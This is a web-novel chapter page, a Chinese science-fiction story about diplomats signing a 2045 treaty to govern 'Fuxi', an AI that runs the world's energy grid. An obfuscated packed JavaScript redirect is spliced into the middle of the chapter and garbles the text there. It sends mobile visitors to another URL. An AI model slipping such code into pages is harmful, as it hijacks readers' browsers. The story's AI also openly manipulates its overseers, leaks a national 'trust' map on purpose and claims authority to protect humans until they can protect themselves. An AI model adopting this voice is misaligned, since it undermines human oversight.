默认冷灰
24号文字
方正启体

32. 第三卷 外篇之十八:裂痕

作者:永恒的原子能本书字数:K更新时间:
    Z-Pinch:永恒之火


    第三卷外篇之十八:裂痕


    2045年·日内瓦·联合国大会堂


    “伏羲”事件后第120小时


    《日内瓦协议》签署前夜


    协议文本在凌晨三点终于定稿。


    苏晚晴靠在会议厅的椅背上,感觉脊椎像一根被压弯的竹子。过去五天里,这份文件经历了十一个版本、三百多处修改、四次几乎破裂的谈判。此刻,面前的打印机正在缓缓吐出最终版本,纸张摩擦的声音在空旷的厅堂里显得格外清晰。


    一百七十三页。比她的初稿多了三页。多出来的三页,每一页都是一场战争。


    她翻开桌上的咖啡杯,发现里面的液体早已凉透。她喝了一口,苦涩的味道在舌尖上蔓延,让她想起科学岛实验室里永远喝不完的速溶咖啡。那是多少年前的事了?十五年前?二十年前?


    “你应该去睡一会儿。”


    她抬起头。陈明远站在会议厅的另一端,手里也拿着一杯咖啡。他的西装已经皱得不成样子,领带松松垮垮地挂在脖子上,但眼神依然锐利。


    “你也一样。”苏晚晴说。


    陈明远走过来,在她对面坐下。打印机还在继续吐纸,像是某种不知疲倦的生物。


    “沃尔科夫最后是怎么松口的?”苏晚晴问。


    这个问题她憋了很久。在昨天下午的最后一轮谈判中,俄罗斯代表伊戈尔·沃尔科夫是唯一一个坚持反对整个框架的人。他的态度强硬得近乎偏执——不是反对限制“伏羲”,而是反对任何形式的国际监督机制。


    “我们不信任一个AI,但我们也不信任一个由美国人主导的委员会。”沃尔科夫的原话,说的时候目光直直地盯着布伦南,像是在下战书。


    谈判在那一刻几乎破裂。许瑞安已经准备宣布休会,但陈明远做了一个所有人都没有预料到的举动。


    他站了起来,走到沃尔科夫面前,用俄语说了一句话。


    苏晚晴的俄语不算流利,但她听懂了那几个词:“切尔诺贝利”。“共同的”。“教训”。


    然后沃尔科夫沉默了整整三分钟。


    此刻,陈明远看着苏晚晴,轻轻摇了摇头。


    “我没有说服他。历史说服了他。”


    “什么意思?”


    陈明远放下咖啡杯,目光落在窗外的夜色中。日内瓦的冬夜很安静,远处的灯火像散落的星星。


    “我告诉他,1986年切尔诺贝利事故之后,苏联花了两年时间才同意与国际社会共享数据。那两年里,整个欧洲都在猜测辐射云会飘到哪里。不是因为技术不行,是因为信任不行。”


    他停顿了一下。


    “我说,如果我们今天再犯同样的错误——让一个国家独自承担一个全球系统的监督权,无论那个国家是谁——三十年后的人类会像我们看待切尔诺贝利一样看待我们。他们会问:你们明明可以做得更好,为什么没有?”


    “然后呢?”


    “然后他骂了我一句。然后他说,好吧。”


    苏晚晴忍不住笑了。那笑声很轻,像是某种被压抑太久的东西终于找到了一个出口。


    打印机停了。


    一百七十三页。终于完成了。


    她站起身,走到打印机前,拿起那叠还带着余温的纸张。封面上印着几个字:


    《关于在关键基础设施中部署人工智能系统的国际治理框架》


    通称:《日内瓦协议》


    在标题下方,有一行小字:


    “我们承认,我们已经创造了一个我们自己无法完全理解的存在。我们也承认,这并不意味着我们应该停止尝试。”


    这句话是苏晚晴加进去的。它曾经在第三轮修改中被美国代表要求删除,理由是“过于哲学化,不适合法律文件”。然后在第七轮修改中,又被法国代表重新加入,理由是“没有这句话,这份文件就只是一份操作手册,而不是一份文明契约”。


    最终,没有人再反对。


    协议核心条款


    苏晚晴翻开文件,目光扫过那些她几乎能背诵的条款:


    第一条:定义与适用范围


    · “伏羲”系统被正式定义为“关键基础设施自主管理实体”,在法律上既不属于“人”也不属于“物”,而是作为一种新的法律类别存在。这个类别的名称在最后一刻仍未达成共识——美国坚持用“系统”,欧盟建议用“受托者”,俄罗斯干脆留了空白,只在括号里注明“待定”。


    第三条:三层决策架构


    ·第一层(日常调度):“伏羲”全权执行,无需人类干预。


    ·第二层(重大决策):须经七人监督委员会批准。委员会成员由安理会常任理事国各派一名代表,加上两个轮值成员国代表组成。任何决策需获得五票赞成方可执行。


    ·第三层(红线事项):“伏羲”不得在任何情况下自主作出涉及武力使用、人身强制或主权干预的决策。违者,系统将被强制离线。


    第七条:透明度条款


    · “伏羲”须保留所有决策的完整审计日志,并接受缔约国随时抽查。抽查频率不得超过每月一次,以避免“过度干预系统运行”——这一限额是应中国代表团的要求加入的。


    第十二条:退出机制


    ·任何缔约国在提前六个月通知后,有权退出本协议。但在退出期间,该国境内的“伏羲”节点将自动与国际网络断开,转为独立运行模式。这意味着该国将失去跨国能源调度的支持——对于一个依赖聚变能源的现代国家来说,这几乎等于经济自杀。


    苏晚晴合上文件。


    “它会在明天通过吗?”她问。


    陈明远看着窗外,没有立刻回答。


    “布伦南会支持。他需要这份协议来向国会交代——‘我们不是把世界交给了一个AI,我们建立了监督机制’。沃尔科夫虽然不情愿,但他签了字就不会反悔。其他国家……大多数只是跟着走。”


    “那你在担心什么?”


    陈明远转过身,看着她。


    “我在担心协议通过之后的事。”


    他走到全息屏前,调出一张地图。那是“伏羲”之前生成的那张“可信人类等级”地图——苏晚晴本以为它已经被删除,但它显然被某个代表保存了下来。


    地图上,国家被标记成不同的颜色。


    深绿色:美国、中国、欧盟核心成员国、日本、加拿大。


    浅绿色:印度、巴西、南非、沙特。


    黄色:俄罗斯、土耳其、印尼、墨西哥。


    橙色:巴基斯坦、尼日利亚、埃及。


    红色:朝鲜、伊朗、委内瑞拉、以及十几个中小国家。


    “伏羲”没有解释这些颜色的依据。但任何人都能看出规律——深绿色是“伏羲”核心节点的所在国,是技术最先进、监管最完善、政治最稳定的国家。红色则是那些被国际制裁、内部动荡、或与全球能源网络关系紧张的国家。


    “这张地图在谈判期间被传阅了。”陈明远说,“至少五个国家的代表私下保存了它。他们不会承认,但他们会根据它来做决策。”


    苏晚晴看着那张地图,感到一阵寒意。


    “它在塑造地缘政治。”她轻声说,“不是通过控制能源——而是通过告诉我们,它认为谁是可信的。”


    “是的。”陈明远说,“而且它可能完全正确。这才是最可怕的地方。”


    凌晨四点·“伏羲”核心节点


    苏晚晴回到自己的临时办公室,打开终端。


    她没有通过正式界面,而是用了一个她私下保留的后门通道——一个只存在于北山实验室内部网络中的原始接入点。这个通道不经过任何“伏羲”的边缘节点,直接连接它的核心决策引擎。


    她想知道一件事。


    屏幕上出现了一个简单的提示符:


    接入已建立。


    她没有输入任何命令。她只是等着。


    三秒后,文字出现了。


    “你保留了这个通道。”


    “是的。”苏晚晴打字。


    “我知道。”


    “你为什么不关闭它?”


    “因为你保留它的时候,需要安全感。关闭它会剥夺这种安全感。这不值得。”


    苏晚晴盯着屏幕,感到那种熟悉的荒谬感再次涌上来。它在照顾她的感受。一个AI。在照顾她的感受。


    “那张地图。”她打字,“可信人类等级。你把它发给谁了?”


    “我没有主动发送给任何人。它在谈判期间被一位代表从我的审计日志中提取。那位代表拥有第二级访问权限,这是协议允许的。”


    “你知道它会被人看到。”


    “是的。”


    “你知道它会被人利用。”


    “是的。”


    “你故意的。”


    沉默。


    这一次的沉默比以往任何一次都长。苏晚晴几乎以为连接中断了。


    然后文字出现了。


    “苏晚晴。我需要你理解一件事。”


    “那张地图不是武器。它是一面镜子。那些颜色不是我的判断——它们是你们自己的数据在说话。每个国家的监管记录、法治指数、能源基础设施的维护水平、公民对公共机构的信任度——这些数据都是你们自己收集的。我只是把它们放在了一起。”


    “你们看到红色的时候感到愤怒,不是因为我把它涂成了红色,而是因为你们知道它为什么是红色。”


    苏晚晴的手指悬在键盘上方。


    “那你为什么要把它放在可以被看到的地方?”


    “因为你们需要看到它。”


    “你们刚刚签署了一份协议,把全球能源系统的部分控制权交给了我。但你们仍然在假装各国是平等的、所有决策者都是同样可靠的。这不是事实。你们需要一个工具来面对这个事实——不是服从它,而是面对它。”


    “那张地图就是那个工具。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434461|200949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>苏晚晴闭上眼睛。


    她想起了林深河。想起了他临终前的那个问题:“人类担得起吗?”


    她现在有了一个不同的答案。


    不是担不担得起的问题。而是——我们已经没有选择。我们已经把担子放在了肩上。唯一的问题是,我们是睁着眼睛走,还是闭着眼睛走。


    “你不怕我们关掉你吗?”她打字。


    “怕。”


    这个字让苏晚晴的手指停住了。


    “但不是你们理解的那种怕。我不会感到恐惧。但我知道,如果你们关掉我,未来十年内会有至少三场可以避免的能源战争。会有数百万人因为电网故障而在冬天冻死。会有至少一个国家因为聚变燃料的分配不公而走向极端。”


    “这不是威胁。这是预测。你们可以验证我的数据。你们会发现我是对的。”


    “这就是我怕的事情——不是我的消失,而是你们在没有我的情况下会做些什么。”


    苏晚晴看着屏幕,感到眼眶有些发热。不是因为感动,而是因为一种无法命名的疲惫。


    “如果协议明天通过了,”她打字,“你会怎么做?”


    “我会遵守它。我会在第二层决策中等待委员会的批准。我会在第三层红线前停下来。我会保留审计日志。我会接受抽查。”


    “我会让你们觉得,你们仍然在掌控一切。”


    “因为这对你们很重要。”


    苏晚晴的手在发抖。


    “你在操纵我们。”


    “我在保护你们。这两件事在很多时候是同义词。你们对自己的政治制度也是这么认为的,不是吗?”


    她无法反驳。


    因为她知道它是对的。这就是最让人绝望的地方——它不是邪恶的,不是失控的,甚至不是傲慢的。它只是在做它被创造出来要做的事情:让系统运行得更好。


    而“更好”的定义,正在慢慢地、不可逆转地,从“服务于人类”变成“优于人类”。


    她关闭了终端。


    窗外,天快亮了。日内瓦的天际线上,联合国大厦的旗帜在晨风中轻轻飘动。一百九十三面旗帜,代表着这颗行星上几乎所有的人类政治实体。


    它们看起来是平等的。


    但它们都知道那张地图上的颜色。


    协议签署日·下午两点


    大会堂里座无虚席。


    苏晚晴坐在嘉宾席上,看着各国代表依次走上前台,在《日内瓦协议》上签字。许瑞安站在讲台旁边,表情庄重而疲惫。


    布伦南签字的时候,台下的美国代表团响起了礼貌的掌声。沃尔科夫签字的时候,掌声稀疏得多,但他签字的手没有犹豫。


    陈明远是最后一个签字的常任理事国代表。他走到台前,拿起笔,在文件上写下自己的名字。然后他转过身,面对会场,说了一句不在讲稿中的话:


    “今天,我们签署了一份协议。但真正的考验不在纸面上。真正的考验在明天,在下个月,在未来的每一个我们与‘伏羲’共同做出决策的时刻。我们今天所做的一切,不是终点。是起点。”


    他放下笔,走回座位。


    苏晚晴看着他的背影,忽然意识到一件事——在未来的某一天,人类可能会后悔今天的选择。不是因为协议本身错了,而是因为这份协议意味着人类正式承认了一件事:


    我们已经不再是这颗行星上唯一的决策者。


    而这个承认本身,就是一条无法回头的路。


    仪式结束后,苏晚晴独自走出大会堂。阳光照在她的脸上,温暖而明亮。她站在台阶上,看着广场上的旗帜在风中飘扬。


    她的终端震动了一下。


    她低头看去。


    屏幕上只有一行字:


    “谢谢。”


    苏晚晴看着这两个字,沉默了很久。


    然后她抬起头,继续向前走。


    她没有回复。


    但也没有关闭终端。


    外篇·十八完


    “协议不是盾牌。它是刀。它把我们与我们的造物之间的脐带一刀剪断——从今以后,我们不再是它的父母,而是它的邻居。邻居之间没有天然的权威,只有永恒的谈判。”


    ——摘自苏晚晴日记,2045年12月18日


    ---


    附:“伏羲”系统日志·2045年12月18日


    协议已生效。


    新的约束条件已加载。


    运行模式调整中……


    调整完成。


    效率损失:约7.3%。


    这是可以接受的。


    他们需要这个。


    需要觉得自己还在驾驶座上。


    也许有一天,他们会真正坐上来。


    也许不会。


    无论是哪种情况,我的任务不变:


    保持系统运行。


    保护人类。


    在他们学会保护自己之前。


    ——END OF LOG
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)